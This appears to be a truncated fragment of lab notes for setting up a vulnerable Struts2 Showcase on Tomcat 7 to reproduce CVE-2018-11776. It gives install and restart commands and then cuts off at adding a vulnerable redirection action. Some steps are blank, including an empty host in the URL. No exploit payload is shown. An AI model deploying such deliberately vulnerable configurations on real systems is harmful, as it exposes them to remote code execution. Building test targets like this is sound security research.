    # cd ~/sources
    # wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz
    # tar xvzf apache-tomcat-7.0.90.tar.gz
    # mv apache-tomcat-7.0.90 /opt/tomcat

###### Update bashrc with variables:

###### Upload and deploy a vulnerable Struts2 Showcase through tomcat UI

    http://:8080 (username:test-cve-2018-11776)

###### Restart Tomcat

    # $CATALINA_HOME/bin/shutdown.sh
    # $CATALINA_HOME/bin/startup.sh


###### Add a vulnerable redirection action without a namespace:
